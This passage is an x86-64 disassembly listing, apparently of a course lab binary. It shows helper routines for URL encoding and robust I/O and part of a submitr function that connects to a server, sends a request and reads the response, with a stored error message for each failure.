401f4b: be 60 33 40 00 mov $0x403360,%esi

401f50: 48 8b 3d 79 25 20 00 mov 0x202579(%rip),%rdi # 6044d0 <stderr@@GLIBC\_2.2.5>

401f57: b8 00 00 00 00 mov $0x0,%eax

401f5c: e8 9f ed ff ff callq 400d00 <fprintf@plt>

401f61: bf 01 00 00 00 mov $0x1,%edi

401f66: e8 85 ee ff ff callq 400df0 <exit@plt>

0000000000401f6b <urlencode>:

401f6b: 41 54 push %r12

401f6d: 55 push %rbp

401f6e: 53 push %rbx

401f6f: 48 83 ec 10 sub $0x10,%rsp

401f73: 48 89 fb mov %rdi,%rbx

401f76: 48 89 f5 mov %rsi,%rbp

401f79: b8 00 00 00 00 mov $0x0,%eax

401f7e: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx

401f85: f2 ae repnz scas %es:(%rdi),%al

401f87: 48 f7 d1 not %rcx

401f8a: 8d 41 ff lea -0x1(%rcx),%eax

401f8d: e9 93 00 00 00 jmpq 402025 <urlencode+0xba>

401f92: 0f b6 13 movzbl (%rbx),%edx

401f95: 80 fa 2a cmp $0x2a,%dl

401f98: 0f 94 c1 sete %cl

401f9b: 80 fa 2d cmp $0x2d,%dl

401f9e: 0f 94 c0 sete %al

401fa1: 08 c1 or %al,%cl

401fa3: 75 1f jne 401fc4 <urlencode+0x59>

401fa5: 80 fa 2e cmp $0x2e,%dl

401fa8: 74 1a je 401fc4 <urlencode+0x59>

401faa: 80 fa 5f cmp $0x5f,%dl

401fad: 74 15 je 401fc4 <urlencode+0x59>

401faf: 8d 42 d0 lea -0x30(%rdx),%eax

401fb2: 3c 09 cmp $0x9,%al

401fb4: 76 0e jbe 401fc4 <urlencode+0x59>

401fb6: 8d 42 bf lea -0x41(%rdx),%eax

401fb9: 3c 19 cmp $0x19,%al

401fbb: 76 07 jbe 401fc4 <urlencode+0x59>

401fbd: 8d 42 9f lea -0x61(%rdx),%eax

401fc0: 3c 19 cmp $0x19,%al

401fc2: 77 09 ja 401fcd <urlencode+0x62>

401fc4: 88 55 00 mov %dl,0x0(%rbp)

401fc7: 48 8d 6d 01 lea 0x1(%rbp),%rbp

401fcb: eb 51 jmp 40201e <urlencode+0xb3>

401fcd: 80 fa 20 cmp $0x20,%dl

401fd0: 75 0a jne 401fdc <urlencode+0x71>

401fd2: c6 45 00 2b movb $0x2b,0x0(%rbp)

401fd6: 48 8d 6d 01 lea 0x1(%rbp),%rbp

401fda: eb 42 jmp 40201e <urlencode+0xb3>

401fdc: 8d 42 e0 lea -0x20(%rdx),%eax

401fdf: 3c 5f cmp $0x5f,%al

401fe1: 0f 96 c1 setbe %cl

401fe4: 80 fa 09 cmp $0x9,%dl

401fe7: 0f 94 c0 sete %al

401fea: 08 c1 or %al,%cl

401fec: 74 45 je 402033 <urlencode+0xc8>

401fee: 0f b6 d2 movzbl %dl,%edx

401ff1: be f8 33 40 00 mov $0x4033f8,%esi

401ff6: 48 89 e7 mov %rsp,%rdi

401ff9: b8 00 00 00 00 mov $0x0,%eax

401ffe: e8 dd ed ff ff callq 400de0 <sprintf@plt>

402003: 0f b6 04 24 movzbl (%rsp),%eax

402007: 88 45 00 mov %al,0x0(%rbp)

40200a: 0f b6 44 24 01 movzbl 0x1(%rsp),%eax

40200f: 88 45 01 mov %al,0x1(%rbp)

402012: 0f b6 44 24 02 movzbl 0x2(%rsp),%eax

402017: 88 45 02 mov %al,0x2(%rbp)

40201a: 48 8d 6d 03 lea 0x3(%rbp),%rbp

40201e: 48 83 c3 01 add $0x1,%rbx

402022: 44 89 e0 mov %r12d,%eax

402025: 44 8d 60 ff lea -0x1(%rax),%r12d

402029: 85 c0 test %eax,%eax

40202b: 0f 85 61 ff ff ff jne 401f92 <urlencode+0x27>

402031: eb 05 jmp 402038 <urlencode+0xcd>

402033: b8 ff ff ff ff mov $0xffffffff,%eax

402038: 48 83 c4 10 add $0x10,%rsp

40203c: 5b pop %rbx

40203d: 5d pop %rbp

40203e: 41 5c pop %r12

402040: c3 retq

0000000000402041 <rio\_writen>:

402041: 41 55 push %r13

402043: 41 54 push %r12

402045: 55 push %rbp

402046: 53 push %rbx

402047: 48 83 ec 08 sub $0x8,%rsp

40204b: 41 89 fc mov %edi,%r12d

40204e: 48 89 f5 mov %rsi,%rbp

402051: 49 89 d5 mov %rdx,%r13

402054: 48 89 d3 mov %rdx,%rbx

402057: eb 28 jmp 402081 <rio\_writen+0x40>

402059: 48 89 da mov %rbx,%rdx

40205c: 48 89 ee mov %rbp,%rsi

40205f: 44 89 e7 mov %r12d,%edi

402062: e8 f9 eb ff ff callq 400c60 <write@plt>

402067: 48 85 c0 test %rax,%rax

40206a: 7f 0f jg 40207b <rio\_writen+0x3a>

40206c: e8 9f eb ff ff callq 400c10 <\_\_errno\_location@plt>

402071: 83 38 04 cmpl $0x4,(%rax)

402074: 75 15 jne 40208b <rio\_writen+0x4a>

402076: b8 00 00 00 00 mov $0x0,%eax

40207b: 48 29 c3 sub %rax,%rbx

40207e: 48 01 c5 add %rax,%rbp

402081: 48 85 db test %rbx,%rbx

402084: 75 d3 jne 402059 <rio\_writen+0x18>

402086: 4c 89 e8 mov %r13,%rax

402089: eb 07 jmp 402092 <rio\_writen+0x51>

40208b: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax

402092: 48 83 c4 08 add $0x8,%rsp

402096: 5b pop %rbx

402097: 5d pop %rbp

402098: 41 5c pop %r12

40209a: 41 5d pop %r13

40209c: c3 retq

000000000040209d <rio\_read>:

40209d: 41 56 push %r14

40209f: 41 55 push %r13

4020a1: 41 54 push %r12

4020a3: 55 push %rbp

4020a4: 53 push %rbx

4020a5: 48 89 fb mov %rdi,%rbx

4020a8: 49 89 f6 mov %rsi,%r14

4020ab: 49 89 d5 mov %rdx,%r13

4020ae: 4c 8d 67 10 lea 0x10(%rdi),%r12

4020b2: eb 2a jmp 4020de <rio\_read+0x41>

4020b4: ba 00 20 00 00 mov $0x2000,%edx

4020b9: 4c 89 e6 mov %r12,%rsi

4020bc: 8b 3b mov (%rbx),%edi

4020be: e8 fd eb ff ff callq 400cc0 <read@plt>

4020c3: 89 43 04 mov %eax,0x4(%rbx)

4020c6: 85 c0 test %eax,%eax

4020c8: 79 0c jns 4020d6 <rio\_read+0x39>

4020ca: e8 41 eb ff ff callq 400c10 <\_\_errno\_location@plt>

4020cf: 83 38 04 cmpl $0x4,(%rax)

4020d2: 74 0a je 4020de <rio\_read+0x41>

4020d4: eb 37 jmp 40210d <rio\_read+0x70>

4020d6: 85 c0 test %eax,%eax

4020d8: 74 3c je 402116 <rio\_read+0x79>

4020da: 4c 89 63 08 mov %r12,0x8(%rbx)

4020de: 8b 6b 04 mov 0x4(%rbx),%ebp

4020e1: 85 ed test %ebp,%ebp

4020e3: 7e cf jle 4020b4 <rio\_read+0x17>

4020e5: 89 e8 mov %ebp,%eax

4020e7: 4c 39 e8 cmp %r13,%rax

4020ea: 72 03 jb 4020ef <rio\_read+0x52>

4020ec: 44 89 ed mov %r13d,%ebp

4020ef: 4c 63 e5 movslq %ebp,%r12

4020f2: 48 8b 73 08 mov 0x8(%rbx),%rsi

4020f6: 4c 89 e2 mov %r12,%rdx

4020f9: 4c 89 f7 mov %r14,%rdi

4020fc: e8 2f ec ff ff callq 400d30 <memcpy@plt>

402101: 4c 01 63 08 add %r12,0x8(%rbx)

402105: 29 6b 04 sub %ebp,0x4(%rbx)

402108: 4c 89 e0 mov %r12,%rax

40210b: eb 0e jmp 40211b <rio\_read+0x7e>

40210d: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax

402114: eb 05 jmp 40211b <rio\_read+0x7e>

402116: b8 00 00 00 00 mov $0x0,%eax

40211b: 5b pop %rbx

40211c: 5d pop %rbp

40211d: 41 5c pop %r12

40211f: 41 5d pop %r13

402121: 41 5e pop %r14

402123: c3 retq

0000000000402124 <rio\_readlineb>:

402124: 41 55 push %r13

402126: 41 54 push %r12

402128: 55 push %rbp

402129: 53 push %rbx

40212a: 48 83 ec 18 sub $0x18,%rsp

40212e: 49 89 fd mov %rdi,%r13

402131: 48 89 f5 mov %rsi,%rbp

402134: 49 89 d4 mov %rdx,%r12

402137: bb 01 00 00 00 mov $0x1,%ebx

40213c: eb 3d jmp 40217b <rio\_readlineb+0x57>

40213e: ba 01 00 00 00 mov $0x1,%edx

402143: 48 8d 74 24 0f lea 0xf(%rsp),%rsi

402148: 4c 89 ef mov %r13,%rdi

40214b: e8 4d ff ff ff callq 40209d <rio\_read>

402150: 83 f8 01 cmp $0x1,%eax

402153: 75 12 jne 402167 <rio\_readlineb+0x43>

402155: 48 8d 55 01 lea 0x1(%rbp),%rdx

402159: 0f b6 44 24 0f movzbl 0xf(%rsp),%eax

40215e: 88 45 00 mov %al,0x0(%rbp)

402161: 3c 0a cmp $0xa,%al

402163: 75 0f jne 402174 <rio\_readlineb+0x50>

402165: eb 1b jmp 402182 <rio\_readlineb+0x5e>

402167: 85 c0 test %eax,%eax

402169: 75 23 jne 40218e <rio\_readlineb+0x6a>

40216b: 48 83 fb 01 cmp $0x1,%rbx

40216f: 90 nop

402170: 75 13 jne 402185 <rio\_readlineb+0x61>

402172: eb 23 jmp 402197 <rio\_readlineb+0x73>

402174: 48 83 c3 01 add $0x1,%rbx

402178: 48 89 d5 mov %rdx,%rbp

40217b: 4c 39 e3 cmp %r12,%rbx

40217e: 72 be jb 40213e <rio\_readlineb+0x1a>

402180: eb 03 jmp 402185 <rio\_readlineb+0x61>

402182: 48 89 d5 mov %rdx,%rbp

402185: c6 45 00 00 movb $0x0,0x0(%rbp)

402189: 48 89 d8 mov %rbx,%rax

40218c: eb 0e jmp 40219c <rio\_readlineb+0x78>

40218e: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax

402195: eb 05 jmp 40219c <rio\_readlineb+0x78>

402197: b8 00 00 00 00 mov $0x0,%eax

40219c: 48 83 c4 18 add $0x18,%rsp

4021a0: 5b pop %rbx

4021a1: 5d pop %rbp

4021a2: 41 5c pop %r12

4021a4: 41 5d pop %r13

4021a6: c3 retq

00000000004021a7 <submitr>:

4021a7: 41 57 push %r15

4021a9: 41 56 push %r14

4021ab: 41 55 push %r13

4021ad: 41 54 push %r12

4021af: 55 push %rbp

4021b0: 53 push %rbx

4021b1: 48 81 ec 48 a0 00 00 sub $0xa048,%rsp

4021b8: 49 89 fc mov %rdi,%r12

4021bb: 89 74 24 04 mov %esi,0x4(%rsp)

4021bf: 49 89 d7 mov %rdx,%r15

4021c2: 49 89 ce mov %rcx,%r14

4021c5: 4c 89 44 24 08 mov %r8,0x8(%rsp)

4021ca: 4d 89 cd mov %r9,%r13

4021cd: 48 8b 9c 24 80 a0 00 mov 0xa080(%rsp),%rbx

4021d4: 00

4021d5: c7 84 24 1c 20 00 00 movl $0x0,0x201c(%rsp)

4021dc: 00 00 00 00

4021e0: ba 00 00 00 00 mov $0x0,%edx

4021e5: be 01 00 00 00 mov $0x1,%esi

4021ea: bf 02 00 00 00 mov $0x2,%edi

4021ef: e8 1c ec ff ff callq 400e10 <socket@plt>

4021f4: 89 c5 mov %eax,%ebp

4021f6: 85 c0 test %eax,%eax

4021f8: 79 4e jns 402248 <submitr+0xa1>

4021fa: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

402201: 3a 20 43

402204: 48 89 03 mov %rax,(%rbx)

402207: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

40220e: 20 75 6e

402211: 48 89 43 08 mov %rax,0x8(%rbx)

402215: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

40221c: 74 6f 20

40221f: 48 89 43 10 mov %rax,0x10(%rbx)

402223: 48 b8 63 72 65 61 74 movabs $0x7320657461657263,%rax

40222a: 65 20 73

40222d: 48 89 43 18 mov %rax,0x18(%rbx)

402231: c7 43 20 6f 63 6b 65 movl $0x656b636f,0x20(%rbx)

402238: 66 c7 43 24 74 00 movw $0x74,0x24(%rbx)

40223e: b8 ff ff ff ff mov $0xffffffff,%eax

402243: e9 68 06 00 00 jmpq 4028b0 <submitr+0x709>

402248: 4c 89 e7 mov %r12,%rdi

40224b: e8 a0 ea ff ff callq 400cf0 <gethostbyname@plt>

402250: 48 85 c0 test %rax,%rax

402253: 75 67 jne 4022bc <submitr+0x115>

402255: 48 b8 45 72 72 6f 72 movabs $0x44203a726f727245,%rax

40225c: 3a 20 44

40225f: 48 89 03 mov %rax,(%rbx)

402262: 48 b8 4e 53 20 69 73 movabs $0x6e7520736920534e,%rax

402269: 20 75 6e

40226c: 48 89 43 08 mov %rax,0x8(%rbx)

402270: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402277: 74 6f 20

40227a: 48 89 43 10 mov %rax,0x10(%rbx)

40227e: 48 b8 72 65 73 6f 6c movabs $0x2065766c6f736572,%rax

402285: 76 65 20

402288: 48 89 43 18 mov %rax,0x18(%rbx)

40228c: 48 b8 73 65 72 76 65 movabs $0x6120726576726573,%rax

402293: 72 20 61

402296: 48 89 43 20 mov %rax,0x20(%rbx)

40229a: c7 43 28 64 64 72 65 movl $0x65726464,0x28(%rbx)

4022a1: 66 c7 43 2c 73 73 movw $0x7373,0x2c(%rbx)

4022a7: c6 43 2e 00 movb $0x0,0x2e(%rbx)

4022ab: 89 ef mov %ebp,%edi

4022ad: e8 fe e9 ff ff callq 400cb0 <close@plt>

4022b2: b8 ff ff ff ff mov $0xffffffff,%eax

4022b7: e9 f4 05 00 00 jmpq 4028b0 <submitr+0x709>

4022bc: 48 c7 84 24 30 a0 00 movq $0x0,0xa030(%rsp)

4022c3: 00 00 00 00 00

4022c8: 48 c7 84 24 38 a0 00 movq $0x0,0xa038(%rsp)

4022cf: 00 00 00 00 00

4022d4: 66 c7 84 24 30 a0 00 movw $0x2,0xa030(%rsp)

4022db: 00 02 00

4022de: 48 8b 48 18 mov 0x18(%rax),%rcx

4022e2: 48 63 50 14 movslq 0x14(%rax),%rdx

4022e6: 48 8d b4 24 34 a0 00 lea 0xa034(%rsp),%rsi

4022ed: 00

4022ee: 48 8b 39 mov (%rcx),%rdi

4022f1: e8 9a ea ff ff callq 400d90 <bcopy@plt>

4022f6: 0f b7 44 24 04 movzwl 0x4(%rsp),%eax

4022fb: 66 c1 c8 08 ror $0x8,%ax

4022ff: 66 89 84 24 32 a0 00 mov %ax,0xa032(%rsp)

402306: 00

402307: ba 10 00 00 00 mov $0x10,%edx

40230c: 48 8d b4 24 30 a0 00 lea 0xa030(%rsp),%rsi

402313: 00

402314: 89 ef mov %ebp,%edi

402316: e8 e5 ea ff ff callq 400e00 <connect@plt>

40231b: 85 c0 test %eax,%eax

40231d: 79 59 jns 402378 <submitr+0x1d1>

40231f: 48 b8 45 72 72 6f 72 movabs $0x55203a726f727245,%rax

402326: 3a 20 55

402329: 48 89 03 mov %rax,(%rbx)

40232c: 48 b8 6e 61 62 6c 65 movabs $0x6f7420656c62616e,%rax

402333: 20 74 6f

402336: 48 89 43 08 mov %rax,0x8(%rbx)

40233a: 48 b8 20 63 6f 6e 6e movabs $0x7463656e6e6f6320,%rax

402341: 65 63 74

402344: 48 89 43 10 mov %rax,0x10(%rbx)

402348: 48 b8 20 74 6f 20 74 movabs $0x20656874206f7420,%rax

40234f: 68 65 20

402352: 48 89 43 18 mov %rax,0x18(%rbx)

402356: c7 43 20 73 65 72 76 movl $0x76726573,0x20(%rbx)

40235d: 66 c7 43 24 65 72 movw $0x7265,0x24(%rbx)

402363: c6 43 26 00 movb $0x0,0x26(%rbx)

402367: 89 ef mov %ebp,%edi

402369: e8 42 e9 ff ff callq 400cb0 <close@plt>

40236e: b8 ff ff ff ff mov $0xffffffff,%eax

402373: e9 38 05 00 00 jmpq 4028b0 <submitr+0x709>

402378: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx

40237f: 4c 89 ef mov %r13,%rdi

402382: b8 00 00 00 00 mov $0x0,%eax

402387: 48 89 d1 mov %rdx,%rcx

40238a: f2 ae repnz scas %es:(%rdi),%al

40238c: 48 f7 d1 not %rcx

40238f: 48 89 ce mov %rcx,%rsi

402392: 4c 89 ff mov %r15,%rdi

402395: 48 89 d1 mov %rdx,%rcx

402398: f2 ae repnz scas %es:(%rdi),%al

40239a: 48 f7 d1 not %rcx

40239d: 49 89 c8 mov %rcx,%r8

4023a0: 4c 89 f7 mov %r14,%rdi

4023a3: 48 89 d1 mov %rdx,%rcx

4023a6: f2 ae repnz scas %es:(%rdi),%al

4023a8: 49 29 c8 sub %rcx,%r8

4023ab: 48 8b 7c 24 08 mov 0x8(%rsp),%rdi

4023b0: 48 89 d1 mov %rdx,%rcx

4023b3: f2 ae repnz scas %es:(%rdi),%al

4023b5: 49 29 c8 sub %rcx,%r8

4023b8: 48 8d 44 76 fd lea -0x3(%rsi,%rsi,2),%rax

4023bd: 49 8d 44 00 7b lea 0x7b(%r8,%rax,1),%rax

4023c2: 48 3d 00 20 00 00 cmp $0x2000,%rax

4023c8: 76 72 jbe 40243c <submitr+0x295>

4023ca: 48 b8 45 72 72 6f 72 movabs $0x52203a726f727245,%rax

4023d1: 3a 20 52

4023d4: 48 89 03 mov %rax,(%rbx)

4023d7: 48 b8 65 73 75 6c 74 movabs $0x747320746c757365,%rax

4023de: 20 73 74

4023e1: 48 89 43 08 mov %rax,0x8(%rbx)

4023e5: 48 b8 72 69 6e 67 20 movabs $0x6f6f7420676e6972,%rax

4023ec: 74 6f 6f

4023ef: 48 89 43 10 mov %rax,0x10(%rbx)

4023f3: 48 b8 20 6c 61 72 67 movabs $0x202e656772616c20,%rax

4023fa: 65 2e 20

4023fd: 48 89 43 18 mov %rax,0x18(%rbx)

402401: 48 b8 49 6e 63 72 65 movabs $0x6573616572636e49,%rax

402408: 61 73 65

40240b: 48 89 43 20 mov %rax,0x20(%rbx)

40240f: 48 b8 20 53 55 42 4d movabs $0x5254494d42555320,%rax

402416: 49 54 52

402419: 48 89 43 28 mov %rax,0x28(%rbx)

40241d: 48 b8 5f 4d 41 58 42 movabs $0x46554258414d5f,%rax

402424: 55 46 00

402427: 48 89 43 30 mov %rax,0x30(%rbx)

40242b: 89 ef mov %ebp,%edi

40242d: e8 7e e8 ff ff callq 400cb0 <close@plt>

402432: b8 ff ff ff ff mov $0xffffffff,%eax

402437: e9 74 04 00 00 jmpq 4028b0 <submitr+0x709>

40243c: 48 8d b4 24 20 40 00 lea 0x4020(%rsp),%rsi

402443: 00

402444: b9 00 04 00 00 mov $0x400,%ecx

402449: b8 00 00 00 00 mov $0x0,%eax

40244e: 48 89 f7 mov %rsi,%rdi

402451: f3 48 ab rep stos %rax,%es:(%rdi)

402454: 4c 89 ef mov %r13,%rdi

402457: e8 0f fb ff ff callq 401f6b <urlencode>

40245c: 85 c0 test %eax,%eax

40245e: 0f 89 8a 00 00 00 jns 4024ee <submitr+0x347>

402464: 48 b8 45 72 72 6f 72 movabs $0x52203a726f727245,%rax

40246b: 3a 20 52

40246e: 48 89 03 mov %rax,(%rbx)

402471: 48 b8 65 73 75 6c 74 movabs $0x747320746c757365,%rax

402478: 20 73 74

40247b: 48 89 43 08 mov %rax,0x8(%rbx)

40247f: 48 b8 72 69 6e 67 20 movabs $0x6e6f6320676e6972,%rax

402486: 63 6f 6e

402489: 48 89 43 10 mov %rax,0x10(%rbx)

40248d: 48 b8 74 61 69 6e 73 movabs $0x6e6120736e696174,%rax

402494: 20 61 6e

402497: 48 89 43 18 mov %rax,0x18(%rbx)

40249b: 48 b8 20 69 6c 6c 65 movabs $0x6c6167656c6c6920,%rax

4024a2: 67 61 6c

4024a5: 48 89 43 20 mov %rax,0x20(%rbx)

4024a9: 48 b8 20 6f 72 20 75 movabs $0x72706e7520726f20,%rax

4024b0: 6e 70 72

4024b3: 48 89 43 28 mov %rax,0x28(%rbx)

4024b7: 48 b8 69 6e 74 61 62 movabs $0x20656c6261746e69,%rax

4024be: 6c 65 20

4024c1: 48 89 43 30 mov %rax,0x30(%rbx)

4024c5: 48 b8 63 68 61 72 61 movabs $0x6574636172616863,%rax

4024cc: 63 74 65

4024cf: 48 89 43 38 mov %rax,0x38(%rbx)

4024d3: 66 c7 43 40 72 2e movw $0x2e72,0x40(%rbx)

4024d9: c6 43 42 00 movb $0x0,0x42(%rbx)

4024dd: 89 ef mov %ebp,%edi

4024df: e8 cc e7 ff ff callq 400cb0 <close@plt>

4024e4: b8 ff ff ff ff mov $0xffffffff,%eax

4024e9: e9 c2 03 00 00 jmpq 4028b0 <submitr+0x709>

4024ee: 4d 89 e1 mov %r12,%r9

4024f1: 4c 8d 84 24 20 40 00 lea 0x4020(%rsp),%r8

4024f8: 00

4024f9: 4c 89 f9 mov %r15,%rcx

4024fc: 4c 89 f2 mov %r14,%rdx

4024ff: be 88 33 40 00 mov $0x403388,%esi

402504: 48 8d bc 24 20 60 00 lea 0x6020(%rsp),%rdi

40250b: 00

40250c: b8 00 00 00 00 mov $0x0,%eax

402511: e8 ca e8 ff ff callq 400de0 <sprintf@plt>

402516: 48 8d bc 24 20 60 00 lea 0x6020(%rsp),%rdi

40251d: 00

40251e: b8 00 00 00 00 mov $0x0,%eax

402523: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx

40252a: f2 ae repnz scas %es:(%rdi),%al

40252c: 48 f7 d1 not %rcx

40252f: 48 8d 51 ff lea -0x1(%rcx),%rdx

402533: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

40253a: 00

40253b: 89 ef mov %ebp,%edi

40253d: e8 ff fa ff ff callq 402041 <rio\_writen>

402542: 48 85 c0 test %rax,%rax

402545: 79 6e jns 4025b5 <submitr+0x40e>

402547: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

40254e: 3a 20 43

402551: 48 89 03 mov %rax,(%rbx)

402554: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

40255b: 20 75 6e

40255e: 48 89 43 08 mov %rax,0x8(%rbx)

402562: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402569: 74 6f 20

40256c: 48 89 43 10 mov %rax,0x10(%rbx)

402570: 48 b8 77 72 69 74 65 movabs $0x6f74206574697277,%rax

402577: 20 74 6f

40257a: 48 89 43 18 mov %rax,0x18(%rbx)

40257e: 48 b8 20 74 68 65 20 movabs $0x7365722065687420,%rax

402585: 72 65 73

402588: 48 89 43 20 mov %rax,0x20(%rbx)

40258c: 48 b8 75 6c 74 20 73 movabs $0x7672657320746c75,%rax

402593: 65 72 76

402596: 48 89 43 28 mov %rax,0x28(%rbx)

40259a: 66 c7 43 30 65 72 movw $0x7265,0x30(%rbx)

4025a0: c6 43 32 00 movb $0x0,0x32(%rbx)

4025a4: 89 ef mov %ebp,%edi

4025a6: e8 05 e7 ff ff callq 400cb0 <close@plt>

4025ab: b8 ff ff ff ff mov $0xffffffff,%eax

4025b0: e9 fb 02 00 00 jmpq 4028b0 <submitr+0x709>

4025b5: 89 ee mov %ebp,%esi

4025b7: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

4025be: 00

4025bf: e8 6c f9 ff ff callq 401f30 <rio\_readinitb>

4025c4: ba 00 20 00 00 mov $0x2000,%edx

4025c9: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

4025d0: 00

4025d1: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

4025d8: 00

4025d9: e8 46 fb ff ff callq 402124 <rio\_readlineb>

4025de: 48 85 c0 test %rax,%rax

4025e1: 7f 7d jg 402660 <submitr+0x4b9>

4025e3: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

4025ea: 3a 20 43

4025ed: 48 89 03 mov %rax,(%rbx)

4025f0: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

4025f7: 20 75 6e

4025fa: 48 89 43 08 mov %rax,0x8(%rbx)

4025fe: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402605: 74 6f 20

402608: 48 89 43 10 mov %rax,0x10(%rbx)

40260c: 48 b8 72 65 61 64 20 movabs $0x7269662064616572,%rax

402613: 66 69 72

402616: 48 89 43 18 mov %rax,0x18(%rbx)

40261a: 48 b8 73 74 20 68 65 movabs $0x6564616568207473,%rax

402621: 61 64 65

402624: 48 89 43 20 mov %rax,0x20(%rbx)

402628: 48 b8 72 20 66 72 6f movabs $0x72206d6f72662072,%rax

40262f: 6d 20 72

402632: 48 89 43 28 mov %rax,0x28(%rbx)

402636: 48 b8 65 73 75 6c 74 movabs $0x657320746c757365,%rax

40263d: 20 73 65

402640: 48 89 43 30 mov %rax,0x30(%rbx)

402644: c7 43 38 72 76 65 72 movl $0x72657672,0x38(%rbx)

40264b: c6 43 3c 00 movb $0x0,0x3c(%rbx)

40264f: 89 ef mov %ebp,%edi

402651: e8 5a e6 ff ff callq 400cb0 <close@plt>

402656: b8 ff ff ff ff mov $0xffffffff,%eax

40265b: e9 50 02 00 00 jmpq 4028b0 <submitr+0x709>

402660: 4c 8d 44 24 10 lea 0x10(%rsp),%r8

402665: 48 8d 8c 24 1c 20 00 lea 0x201c(%rsp),%rcx

40266c: 00

40266d: 48 8d 94 24 20 20 00 lea 0x2020(%rsp),%rdx

402674: 00

402675: be ff 33 40 00 mov $0x4033ff,%esi

40267a: 48 8d bc 24 20 60 00 lea 0x6020(%rsp),%rdi

402681: 00

402682: b8 00 00 00 00 mov $0x0,%eax

402687: e8 e4 e6 ff ff callq 400d70 <\_\_isoc99\_sscanf@plt>

40268c: e9 98 00 00 00 jmpq 402729 <submitr+0x582>

402691: ba 00 20 00 00 mov $0x2000,%edx

402696: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

40269d: 00

40269e: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

4026a5: 00

4026a6: e8 79 fa ff ff callq 402124 <rio\_readlineb>

4026ab: 48 85 c0 test %rax,%rax

4026ae: 7f 79 jg 402729 <submitr+0x582>

4026b0: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

4026b7: 3a 20 43

4026ba: 48 89 03 mov %rax,(%rbx)

4026bd: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

4026c4: 20 75 6e

4026c7: 48 89 43 08 mov %rax,0x8(%rbx)

4026cb: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

4026d2: 74 6f 20

4026d5: 48 89 43 10 mov %rax,0x10(%rbx)

4026d9: 48 b8 72 65 61 64 20 movabs $0x6165682064616572,%rax

4026e0: 68 65 61

4026e3: 48 89 43 18 mov %rax,0x18(%rbx)

4026e7: 48 b8 64 65 72 73 20 movabs $0x6f72662073726564,%rax

4026ee: 66 72 6f

4026f1: 48 89 43 20 mov %rax,0x20(%rbx)

4026f5: 48 b8 6d 20 74 68 65 movabs $0x657220656874206d,%rax

4026fc: 20 72 65

4026ff: 48 89 43 28 mov %rax,0x28(%rbx)

402703: 48 b8 73 75 6c 74 20 movabs $0x72657320746c7573,%rax

40270a: 73 65 72

40270d: 48 89 43 30 mov %rax,0x30(%rbx)

402711: c7 43 38 76 65 72 00 movl $0x726576,0x38(%rbx)

402718: 89 ef mov %ebp,%edi

40271a: e8 91 e5 ff ff callq 400cb0 <close@plt>

40271f: b8 ff ff ff ff mov $0xffffffff,%eax

402724: e9 87 01 00 00 jmpq 4028b0 <submitr+0x709>

402729: 0f b6 84 24 20 60 00 movzbl 0x6020(%rsp),%eax

402730: 00

402731: 83 e8 0d sub $0xd,%eax

402734: 75 15 jne 40274b <submitr+0x5a4>

402736: 0f b6 84 24 21 60 00 movzbl 0x6021(%rsp),%eax

40273d: 00

40273e: 83 e8 0a sub $0xa,%eax

402741: 75 08 jne 40274b <submitr+0x5a4>

402743: 0f b6 84 24 22 60 00 movzbl 0x6022(%rsp),%eax

40274a: 00

40274b: 85 c0 test %eax,%eax

40274d: 0f 85 3e ff ff ff jne 402691 <submitr+0x4ea>

402753: ba 00 20 00 00 mov $0x2000,%edx

402758: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

40275f: 00

402760: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

402767: 00

402768: e8 b7 f9 ff ff callq 402124 <rio\_readlineb>

40276d: 48 85 c0 test %rax,%rax

402770: 0f 8f 83 00 00 00 jg 4027f9 <submitr+0x652>

402776: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

40277d: 3a 20 43

402780: 48 89 03 mov %rax,(%rbx)

402783: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

40278a: 20 75 6e

40278d: 48 89 43 08 mov %rax,0x8(%rbx)

402791: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402798: 74 6f 20

40279b: 48 89 43 10 mov %rax,0x10(%rbx)

40279f: 48 b8 72 65 61 64 20 movabs $0x6174732064616572,%rax

4027a6: 73 74 61

4027a9: 48 89 43 18 mov %rax,0x18(%rbx)

4027ad: 48 b8 74 75 73 20 6d movabs $0x7373656d20737574,%rax

4027b4: 65 73 73

4027b7: 48 89 43 20 mov %rax,0x20(%rbx)

4027bb: 48 b8 61 67 65 20 66 movabs $0x6d6f726620656761,%rax

4027c2: 72 6f 6d

4027c5: 48 89 43 28 mov %rax,0x28(%rbx)

4027c9: 48 b8 20 72 65 73 75 movabs $0x20746c7573657220,%rax

4027d0: 6c 74 20

4027d3: 48 89 43 30 mov %rax,0x30(%rbx)

4027d7: c7 43 38 73 65 72 76 movl $0x76726573,0x38(%rbx)

4027de: 66 c7 43 3c 65 72 movw $0x7265,0x3c(%rbx)

4027e4: c6 43 3e 00 movb $0x0,0x3e(%rbx)

